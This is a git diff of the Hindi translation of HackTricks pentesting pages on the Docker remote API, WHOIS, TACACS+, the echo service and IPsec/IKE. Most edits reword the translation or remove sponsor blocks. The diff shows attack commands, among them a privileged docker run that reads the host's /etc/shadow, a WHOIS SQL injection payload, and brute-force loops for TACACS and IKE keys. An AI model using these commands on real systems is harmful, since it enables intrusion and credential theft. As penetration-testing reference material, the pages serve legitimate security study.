दृष्टिकोण कंटेनर उल्लंघनों से जुड़े जोखिमों को कम करता है, यह सुनिश्चित करते हुए कि हमलावर केवल समझौता किए गए उपयोगकर्ता के विशेषाधिकार प्राप्त करते हैं, न कि रूट एक्सेस। Podman का दृष्टिकोण Docker के लिए एक सुरक्षित और लचीला विकल्प प्रदान करता है, जो उपयोगकर्ता विशेषाधिकार प्रबंधन और मौजूदा Docker कार्यप्रवाहों के साथ संगतता पर जोर देता है। {% hint style="info" %} -ध्यान दें कि Podman का लक्ष्य Docker के समान API का समर्थन करना है, आप Podman के साथ वही कमांड का उपयोग कर सकते हैं जो Docker के साथ हैं जैसे: +ध्यान दें कि चूंकि podman का लक्ष्य docker के समान API का समर्थन करना है, आप podman के साथ वही कमांड का उपयोग कर सकते हैं जो docker के साथ हैं जैसे: ```bash podman --version podman info @@ -114,7 +101,7 @@ podman ls ### मूल जानकारी -Remote API डिफ़ॉल्ट रूप से 2375 पोर्ट पर चल रहा है जब सक्षम किया जाता है। सेवा डिफ़ॉल्ट रूप से प्रमाणीकरण की आवश्यकता नहीं होगी, जिससे एक हमलावर को एक विशेषाधिकार प्राप्त डॉकर कंटेनर शुरू करने की अनुमति मिलती है। Remote API का उपयोग करके कोई भी होस्ट / (रूट निर्देशिका) को कंटेनर से जोड़ सकता है और होस्ट के वातावरण की फ़ाइलों को पढ़/लिख सकता है। +Remote API डिफ़ॉल्ट रूप से 2375 पोर्ट पर चल रहा है जब इसे सक्षम किया जाता है। सेवा डिफ़ॉल्ट रूप से प्रमाणीकरण की आवश्यकता नहीं होगी, जिससे एक हमलावर को एक विशेषाधिकार प्राप्त docker कंटेनर शुरू करने की अनुमति मिलती है। Remote API का उपयोग करके कोई भी होस्ट / (रूट निर्देशिका) को कंटेनर से जोड़ सकता है और होस्ट के वातावरण की फ़ाइलों को पढ़/लिख सकता है। **डिफ़ॉल्ट पोर्ट:** 2375 ``` @@ -161,7 +148,7 @@ docker-init: Version: 0.18.0 GitCommit: fec3683 ``` -यदि आप **`docker` कमांड के साथ दूरस्थ docker API से संपर्क कर सकते हैं** तो आप **किसी भी** **docker** [**कमांड को निष्पादित**](2375-pentesting-docker.md#basic-commands) कर सकते हैं ताकि सेवा के साथ बातचीत की जा सके। +यदि आप **`docker` कमांड के साथ रिमोट डॉकर API से संपर्क कर सकते हैं** तो आप **सेवा के साथ बातचीत करने के लिए** किसी भी **डॉकर** [**कमांड का उपयोग कर सकते हैं**](2375-pentesting-docker.md#basic-commands)। {% hint style="info" %} आप `export DOCKER_HOST="tcp://localhost:2375"` कर सकते हैं और **`-H`** पैरामीटर का उपयोग करने से **बच सकते हैं**। @@ -212,13 +199,13 @@ nmap -sV --script "docker-*" -p ``` ### Compromising -In the following page you can find ways to **docker कंटेनर से बाहर निकलने के तरीके**: +In the following page you can find ways to **escape from a docker container**: {% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} [docker-security](../linux-hardening/privilege-escalation/docker-security/) {% endcontent-ref %} -इसका दुरुपयोग करके, आप एक कंटेनर से बाहर निकल सकते हैं, आप दूरस्थ मशीन में एक कमजोर कंटेनर चला सकते हैं, इससे बाहर निकल सकते हैं, और मशीन को समझौता कर सकते हैं: +इसका दुरुपयोग करके, एक कंटेनर से बाहर निकलना संभव है, आप दूरस्थ मशीन में एक कमजोर कंटेनर चला सकते हैं, इससे बाहर निकल सकते हैं, और मशीन को समझौता कर सकते हैं: ```bash docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine cat /mnt/etc/shadow @@ -254,7 +241,7 @@ docker cp :/etc/ * `./docker-bench-security.sh` * आप अपने वर्तमान docker स्थापना की जांच करने के लिए उपकरण [https://github.com/kost/dockscan](https://github.com/kost/dockscan) का उपयोग कर सकते हैं। * `dockscan -v unix:///var/run/docker.sock` -* आप उपकरण [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) का उपयोग कर सकते हैं ताकि यह पता चल सके कि एक कंटेनर को विभिन्न सुरक्षा विकल्पों के साथ चलाने पर क्या विशेषाधिकार मिलेंगे। यह कुछ सुरक्षा विकल्पों का उपयोग करके एक कंटेनर चलाने के प्रभावों को जानने के लिए उपयोगी है: +* आप उपकरण [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) का उपयोग कर सकते हैं यह जानने के लिए कि एक कंटेनर को विभिन्न सुरक्षा विकल्पों के साथ चलाने पर क्या विशेषाधिकार मिलेंगे। यह कुछ सुरक्षा विकल्पों का उपयोग करके एक कंटेनर चलाने के प्रभावों को जानने के लिए उपयोगी है: * `docker run --rm -it r.j3ss.co/amicontained` * `docker run --rm -it --pid host r.j3ss.co/amicontained` * `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` @@ -267,29 +254,29 @@ docker cp :/etc/ #### Securing Dockerfiles -* आप उपकरण [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) का उपयोग कर सकते हैं ताकि **अपने Dockerfile की जांच करें** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजें। प्रत्येक गलत कॉन्फ़िगरेशन को एक ID दी जाएगी, आप यहाँ [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) पर देख सकते हैं कि उन्हें कैसे ठीक किया जाए। +* आप उपकरण [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) का उपयोग कर सकते हैं **अपने Dockerfile की जांच करने** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजने के लिए। प्रत्येक गलत कॉन्फ़िगरेशन को एक ID दी जाएगी, आप यहाँ [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) पर देख सकते हैं कि उन्हें कैसे ठीक किया जाए। * `dockerfilelinter -f Dockerfile` ![](<../.gitbook/assets/image (176).png>) -* आप उपकरण [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) का उपयोग कर सकते हैं ताकि **अपने Dockerfile की जांच करें** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजें। +* आप उपकरण [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) का उपयोग कर सकते हैं **अपने Dockerfile की जांच करने** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजने के लिए। * `dockerfilelint Dockerfile` ![](<../.gitbook/assets/image (212).png>) -* आप उपकरण [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) का उपयोग कर सकते हैं ताकि **अपने Dockerfile की जांच करें** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजें। +* आप उपकरण [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) का उपयोग कर सकते हैं **अपने Dockerfile की जांच करने** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजने के लिए। * `dockerlint Dockerfile` ![](<../.gitbook/assets/image (71).png>) -* आप उपकरण [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) का उपयोग कर सकते हैं ताकि **अपने Dockerfile की जांच करें** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजें। +* आप उपकरण [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) का उपयोग कर सकते हैं **अपने Dockerfile की जांच करने** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजने के लिए। * `hadolint Dockerfile` ![](<../.gitbook/assets/image (501).png>) #### Logging Suspicious activity -* आप उपकरण [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) का उपयोग कर सकते हैं ताकि **चल रहे कंटेनरों में संदिग्ध व्यवहार का पता लगाया जा सके**। +* आप उपकरण [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) का उपयोग कर सकते हैं **चल रहे कंटेनरों में संदिग्ध व्यवहार का पता लगाने** के लिए। * निम्नलिखित खंड में ध्यान दें कि **Falco एक कर्नेल मॉड्यूल संकलित करता है और इसे सम्मिलित करता है**। इसके बाद, यह नियमों को लोड करता है और **संदिग्ध गतिविधियों को लॉग करना शुरू करता है**। इस मामले में, इसने 2 विशेषाधिकार प्राप्त कंटेनरों का पता लगाया, जिनमें से 1 संवेदनशील माउंट के साथ था, और कुछ सेकंड बाद इसने देखा कि एक शेल एक कंटेनर के अंदर खोला गया था। ```bash docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco @@ -340,17 +327,6 @@ falco-probe found and loaded in dkms * [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) * [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -361,8 +337,8 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें। {% endhint %} diff --git a/network-services-pentesting/43-pentesting-whois.md b/network-services-pentesting/43-pentesting-whois.md index 7d2fe547c..30d468f68 100644 --- a/network-services-pentesting/43-pentesting-whois.md +++ b/network-services-pentesting/43-pentesting-whois.md @@ -15,17 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Basic Information -**WHOIS** प्रोटोकॉल विभिन्न इंटरनेट संसाधनों के रजिस्ट्रेंट्स या धारकों के बारे में पूछताछ करने के लिए एक मानक विधि के रूप में कार्य करता है, जो विशिष्ट डेटाबेस के माध्यम से होता है। ये संसाधन डोमेन नाम, आईपी पते के ब्लॉक, और स्वायत्त प्रणालियों सहित हैं। इसके अलावा, प्रोटोकॉल व्यापक जानकारी तक पहुँचने में भी उपयोग किया जाता है। +**WHOIS** प्रोटोकॉल विभिन्न इंटरनेट संसाधनों के रजिस्ट्रेंट्स या धारकों के बारे में पूछताछ करने के लिए एक मानक विधि के रूप में कार्य करता है, जो विशिष्ट डेटाबेस के माध्यम से होता है। ये संसाधन डोमेन नाम, आईपी पते के ब्लॉकों और स्वायत्त प्रणालियों सहित होते हैं। इसके अलावा, प्रोटोकॉल व्यापक जानकारी तक पहुँचने में भी उपयोग किया जाता है। **डिफ़ॉल्ट पोर्ट:** 43 ``` @@ -43,18 +35,12 @@ echo "domain.ltd" | nc -vn ![](<../.gitbook/assets/image (301).png>) -इसके अलावा, WHOIS सेवा को हमेशा जानकारी को संग्रहीत और निकालने के लिए एक **डेटाबेस** का उपयोग करने की आवश्यकता होती है। इसलिए, उपयोगकर्ता द्वारा प्रदान की गई कुछ जानकारी से डेटाबेस को **क्वेरी** करते समय एक संभावित **SQLInjection** मौजूद हो सकता है। उदाहरण के लिए: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` करने पर आप **डेटाबेस** में संग्रहीत **सभी** **जानकारी** को **निकालने** में सक्षम हो सकते हैं। +इसके अलावा, WHOIS सेवा को हमेशा जानकारी को स्टोर और निकालने के लिए एक **database** का उपयोग करने की आवश्यकता होती है। इसलिए, उपयोगकर्ता द्वारा प्रदान की गई कुछ जानकारी से डेटाबेस को **querying** करते समय एक संभावित **SQLInjection** मौजूद हो सकता है। उदाहरण के लिए: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` करने पर आप **extract all** **information** जो डेटाबेस में सहेजी गई है, प्राप्त कर सकते हैं। ## Shodan * `port:43 whois` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - ## HackTricks Automatic Commands ``` Protocol_Name: WHOIS #Protocol Abbreviation if there is one. @@ -84,8 +70,8 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें। +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें। {% endhint %} diff --git a/network-services-pentesting/49-pentesting-tacacs+.md b/network-services-pentesting/49-pentesting-tacacs+.md index 5e4ddb9e6..468b2c162 100644 --- a/network-services-pentesting/49-pentesting-tacacs+.md +++ b/network-services-pentesting/49-pentesting-tacacs+.md @@ -15,17 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Basic Information -**टर्मिनल एक्सेस कंट्रोलर एक्सेस कंट्रोल सिस्टम (TACACS)** प्रोटोकॉल का उपयोग राउटर्स या नेटवर्क एक्सेस सर्वर (NAS) तक पहुँचने की कोशिश कर रहे उपयोगकर्ताओं को केंद्रीय रूप से मान्य करने के लिए किया जाता है। इसका उन्नत संस्करण, **TACACS+**, सेवाओं को प्रमाणीकरण, प्राधिकरण, और लेखांकन (AAA) में विभाजित करता है। +**टर्मिनल एक्सेस कंट्रोलर एक्सेस कंट्रोल सिस्टम (TACACS)** प्रोटोकॉल का उपयोग राउटर्स या नेटवर्क एक्सेस सर्वर (NAS) तक पहुँचने की कोशिश कर रहे उपयोगकर्ताओं को केंद्रीय रूप से मान्य करने के लिए किया जाता है। इसका उन्नत संस्करण, **TACACS+**, सेवाओं को प्रमाणीकरण, प्राधिकरण और लेखा (AAA) में विभाजित करता है। ``` PORT STATE SERVICE 49/tcp open tacacs @@ -38,7 +30,7 @@ PORT STATE SERVICE ### MitM हमले का प्रदर्शन करना -**ARP स्पूफिंग हमले का उपयोग मैन-इन-द-मिडल (MitM) हमले को करने के लिए किया जा सकता है**। +एक **ARP स्पूफिंग हमला एक मैन-इन-द-मिडल (MitM) हमले को करने के लिए उपयोग किया जा सकता है**। ### कुंजी को ब्रूट-फोर्स करना @@ -49,7 +41,7 @@ sudo loki_gtk.py If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **हम उपकरणों तक पहुँच प्राप्त कर सकते हैं और TACACS-एन्क्रिप्टेड ट्रैफ़िक को डिक्रिप्ट कर सकते हैं।** ### Decrypting Traffic -Once the key is successfully cracked, the next step is to **TACACS-एन्क्रिप्टेड ट्रैफ़िक को डिक्रिप्ट करना**। Wireshark एन्क्रिप्टेड TACACS ट्रैफ़िक को संभाल सकता है यदि कुंजी प्रदान की जाए। डिक्रिप्टेड ट्रैफ़िक का विश्लेषण करके, जानकारी जैसे कि **उपयोग किए गए बैनर और व्यवस्थापक उपयोगकर्ता का उपयोगकर्ता नाम** प्राप्त किया जा सकता है। +Once the key is successfully cracked, the next step is to **TACACS-एन्क्रिप्टेड ट्रैफ़िक को डिक्रिप्ट करना**। Wireshark एन्क्रिप्टेड TACACS ट्रैफ़िक को संभाल सकता है यदि कुंजी प्रदान की जाए। डिक्रिप्टेड ट्रैफ़िक का विश्लेषण करके, जानकारी जैसे कि **उपयोग किए गए बैनर और व्यवस्थापक** उपयोगकर्ता का उपयोगकर्ता नाम प्राप्त किया जा सकता है। प्राप्त क्रेडेंशियल्स का उपयोग करके नेटवर्क उपकरण के नियंत्रण पैनल तक पहुँच प्राप्त करके, हमलावर नेटवर्क पर नियंत्रण स्थापित कर सकता है। यह ध्यान रखना महत्वपूर्ण है कि ये क्रियाएँ केवल शैक्षिक उद्देश्यों के लिए हैं और इन्हें उचित प्राधिकरण के बिना उपयोग नहीं किया जाना चाहिए। @@ -57,11 +49,6 @@ Once the key is successfully cracked, the next step is to **TACACS-एन्क * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/7-tcp-udp-pentesting-echo.md b/network-services-pentesting/7-tcp-udp-pentesting-echo.md index 2ab1fd757..2a685a633 100644 --- a/network-services-pentesting/7-tcp-udp-pentesting-echo.md +++ b/network-services-pentesting/7-tcp-udp-pentesting-echo.md @@ -13,22 +13,14 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - # Basic Information -इस होस्ट पर एक इको सेवा चल रही है। इको सेवा परीक्षण और माप के उद्देश्यों के लिए बनाई गई थी और यह TCP और UDP प्रोटोकॉल दोनों पर सुन सकती है। सर्वर जो भी डेटा प्राप्त करता है, उसे बिना किसी संशोधन के वापस भेजता है।\ -**एक ही या दूसरे मशीन पर इको सेवा को इको सेवा से जोड़कर सेवा से इनकार करना संभव है**। उत्पन्न होने वाले अत्यधिक उच्च पैकेट संख्या के कारण, प्रभावित मशीनों को प्रभावी रूप से सेवा से बाहर किया जा सकता है।\ -जानकारी [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) से +इस होस्ट पर एक इको सेवा चल रही है। इको सेवा परीक्षण और माप के उद्देश्यों के लिए बनाई गई थी और यह TCP और UDP प्रोटोकॉल दोनों पर सुन सकती है। सर्वर किसी भी डेटा को वापस भेजता है जो इसे प्राप्त होता है, बिना किसी संशोधन के।\ +**एक ही या दूसरे मशीन पर इको सेवा को इको सेवा से कनेक्ट करके सेवा का इनकार करना संभव है**। उत्पन्न होने वाले अत्यधिक उच्च संख्या में पैकेट के कारण, प्रभावित मशीनों को प्रभावी रूप से सेवा से बाहर किया जा सकता है।\ +Info from [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) -**डिफ़ॉल्ट पोर्ट:** 7/tcp/udp +**Default Port:** 7/tcp/udp ``` PORT STATE SERVICE 7/udp open echo @@ -48,15 +40,9 @@ Hello echo #This is the response [Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol) -[CA-1996-01 UDP पोर्ट Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html) +[CA-1996-01 UDP पोर्ट डिनायल-ऑफ-सेवा हमला](http://www.cert.org/advisories/CA-1996-01.html) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/network-services-pentesting/ipsec-ike-vpn-pentesting.md b/network-services-pentesting/ipsec-ike-vpn-pentesting.md index ca99ddef6..865e7a7d4 100644 --- a/network-services-pentesting/ipsec-ike-vpn-pentesting.md +++ b/network-services-pentesting/ipsec-ike-vpn-pentesting.md @@ -16,27 +16,19 @@ Learn & practice GCP Hacking:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Basic Information -**IPsec** को नेटवर्कों (LAN-to-LAN) के बीच और दूरस्थ उपयोगकर्ताओं से नेटवर्क गेटवे (दूरस्थ पहुंच) तक संचार को सुरक्षित करने के लिए मुख्य तकनीक के रूप में व्यापक रूप से मान्यता प्राप्त है, जो उद्यम VPN समाधानों के लिए रीढ़ के रूप में कार्य करता है। +**IPsec** को नेटवर्क (LAN-to-LAN) के बीच संचार को सुरक्षित करने के लिए मुख्य तकनीक के रूप में व्यापक रूप से मान्यता प्राप्त है और दूरस्थ उपयोगकर्ताओं से नेटवर्क गेटवे (दूरस्थ पहुंच) तक, जो उद्यम VPN समाधानों के लिए रीढ़ के रूप में कार्य करता है। -दो बिंदुओं के बीच **सुरक्षा संघ (SA)** की स्थापना **IKE** द्वारा प्रबंधित की जाती है, जो ISAKMP के तहत कार्य करता है, जो प्रमाणीकरण और कुंजी विनिमय के लिए डिज़ाइन किया गया एक प्रोटोकॉल है। यह प्रक्रिया कई चरणों में होती है: +दो बिंदुओं के बीच **सुरक्षा संघ (SA)** की स्थापना **IKE** द्वारा प्रबंधित की जाती है, जो ISAKMP के तहत कार्य करता है, जो प्रमाणीकरण और कुंजी विनिमय के लिए एक प्रोटोकॉल है। यह प्रक्रिया कई चरणों में होती है: -* **चरण 1:** दो अंत बिंदुओं के बीच एक सुरक्षित चैनल बनाया जाता है। यह एक प्री-शेयर की (PSK) या प्रमाणपत्रों के उपयोग के माध्यम से प्राप्त किया जाता है, मुख्य मोड का उपयोग करते हुए, जिसमें तीन संदेश जोड़े शामिल होते हैं, या **आक्रामक मोड**। +* **चरण 1:** दो अंत बिंदुओं के बीच एक सुरक्षित चैनल बनाया जाता है। यह एक पूर्व-शेयर की गई कुंजी (PSK) या प्रमाणपत्रों का उपयोग करके प्राप्त किया जाता है, मुख्य मोड का उपयोग करते हुए, जिसमें तीन संदेश जोड़े शामिल होते हैं, या **आक्रामक मोड**। * **चरण 1.5:** हालांकि यह अनिवार्य नहीं है, इस चरण को विस्तारित प्रमाणीकरण चरण के रूप में जाना जाता है, जो उपयोगकर्ता की पहचान की पुष्टि करता है जो कनेक्ट करने का प्रयास कर रहा है, एक उपयोगकर्ता नाम और पासवर्ड की आवश्यकता होती है। * **चरण 2:** यह चरण डेटा को **ESP** और **AH** के साथ सुरक्षित करने के लिए पैरामीटर पर बातचीत करने के लिए समर्पित है। यह **परफेक्ट फॉरवर्ड सीक्रेसी (PFS)** सुनिश्चित करने के लिए चरण 1 में उपयोग किए गए एल्गोरिदम से भिन्न एल्गोरिदम के उपयोग की अनुमति देता है, सुरक्षा को बढ़ाता है। **डिफ़ॉल्ट पोर्ट:** 500/udp -## **nmap** का उपयोग करके सेवा का **खोजें** +## **nmap** का उपयोग करके सेवा का पता लगाएं ``` root@bt:~# nmap -sU -p 500 172.16.21.200 Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST @@ -50,7 +42,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) IPSec कॉन्फ़िगरेशन केवल एक या कुछ परिवर्तनों को स्वीकार करने के लिए तैयार किया जा सकता है। एक परिवर्तन मानों का एक संयोजन है। **प्रत्येक परिवर्तन** में DES या 3DES जैसे **एन्क्रिप्शन एल्गोरिदम**, SHA या MD5 जैसे **अखंडता एल्गोरिदम**, एक पूर्व-शेयर की के रूप में **प्रमाणीकरण प्रकार**, Diffie-Hellman 1 या 2 के रूप में कुंजी **वितरण एल्गोरिदम** और 28800 सेकंड के रूप में **जीवनकाल** जैसे कई गुण होते हैं। -फिर, आपको जो पहला काम करना है वह है **एक मान्य परिवर्तन ढूंढना**, ताकि सर्वर आपसे बात कर सके। ऐसा करने के लिए, आप उपकरण **ike-scan** का उपयोग कर सकते हैं। डिफ़ॉल्ट रूप से, Ike-scan मुख्य मोड में काम करता है, और एक ISAKMP हेडर के साथ गेटवे को एक पैकेट भेजता है और इसके अंदर **आठ परिवर्तनों के साथ** एकल प्रस्ताव भेजता है। +तो, आपको जो पहला काम करना है वह है **एक मान्य परिवर्तन ढूंढना**, ताकि सर्वर आपसे बात कर सके। ऐसा करने के लिए, आप उपकरण **ike-scan** का उपयोग कर सकते हैं। डिफ़ॉल्ट रूप से, Ike-scan मुख्य मोड में काम करता है, और एक ISAKMP हेडर के साथ गेटवे को एक पैकेट भेजता है और इसके अंदर **आठ परिवर्तनों के साथ** एकल प्रस्ताव भेजता है। प्रतिक्रिया के आधार पर, आप एंडपॉइंट के बारे में कुछ जानकारी प्राप्त कर सकते हैं: ``` @@ -67,12 +59,12 @@ As you can see in the previous response, there is a field called **AUTH** with t **The value of the last line is also very important:** * _0 returned handshake; 0 returned notify:_ इसका मतलब है कि लक्ष्य **IPsec गेटवे नहीं है**। -* _**1 returned handshake; 0 returned notify:**_ इसका मतलब है कि **लक्ष्य IPsec के लिए कॉन्फ़िगर किया गया है और IKE बातचीत करने के लिए इच्छुक है, और आप द्वारा प्रस्तावित एक या अधिक परिवर्तन स्वीकार्य हैं** (एक मान्य परिवर्तन आउटपुट में दिखाया जाएगा)। -* _0 returned handshake; 1 returned notify:_ VPN गेटवे एक सूचित संदेश के साथ प्रतिक्रिया करते हैं जब **कोई भी परिवर्तन स्वीकार्य नहीं है** (हालांकि कुछ गेटवे ऐसा नहीं करते हैं, इस मामले में आगे विश्लेषण और एक संशोधित प्रस्ताव का प्रयास किया जाना चाहिए)। +* _**1 returned handshake; 0 returned notify:**_ इसका मतलब है कि **लक्ष्य IPsec के लिए कॉन्फ़िगर किया गया है और IKE बातचीत करने के लिए तैयार है, और आप द्वारा प्रस्तावित एक या अधिक परिवर्तन स्वीकार्य हैं** (एक मान्य परिवर्तन आउटपुट में दिखाया जाएगा)। +* _0 returned handshake; 1 returned notify:_ VPN गेटवे तब एक सूचनात्मक संदेश के साथ प्रतिक्रिया करते हैं जब **कोई भी परिवर्तन स्वीकार्य नहीं है** (हालांकि कुछ गेटवे ऐसा नहीं करते हैं, इस मामले में आगे विश्लेषण और एक संशोधित प्रस्ताव का प्रयास किया जाना चाहिए)। -Then, in this case we already have a valid transformation but if you are in the 3rd case, then you need to **brute-force a little bit to find a valid transformation:** +फिर, इस मामले में हमारे पास पहले से ही एक मान्य परिवर्तन है लेकिन यदि आप 3रे मामले में हैं, तो आपको **एक मान्य परिवर्तन खोजने के लिए थोड़ा ब्रूट-फोर्स करना होगा:** -First of all you need to create all the possible transformations: +सबसे पहले, आपको सभी संभावित परिवर्तनों को बनाना होगा: ```bash for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done ``` @@ -92,7 +84,7 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive ``` ![](<../.gitbook/assets/image (617).png>) -In **DH Group: 14 = 2048-bit MODP** and **15 = 3072-bit**\ +In **DH Group: 14 = 2048-बिट MODP** और **15 = 3072-बिट**\ **2 = HMAC-SHA = SHA1 (इस मामले में)। `--trans` प्रारूप है $Enc,$Hash,$Auth,$DH** Cisco यह संकेत करता है कि DH समूह 1 और 2 का उपयोग करने से बचें क्योंकि वे पर्याप्त मजबूत नहीं हैं। विशेषज्ञों का मानना है कि **जिन देशों के पास बहुत सारे संसाधन हैं, वे आसानी से इन कमजोर समूहों का उपयोग करने वाले डेटा के एन्क्रिप्शन को तोड़ सकते हैं।** यह एक विशेष विधि का उपयोग करके किया जाता है जो उन्हें कोड को जल्दी से क्रैक करने के लिए तैयार करती है। हालांकि इस विधि को स्थापित करने में बहुत पैसा लगता है, यह इन शक्तिशाली देशों को वास्तविक समय में एन्क्रिप्टेड डेटा पढ़ने की अनुमति देती है यदि यह किसी कमजोर समूह (जैसे 1,024-बिट या छोटे) का उपयोग कर रहा है। @@ -156,19 +148,19 @@ Or use this dict 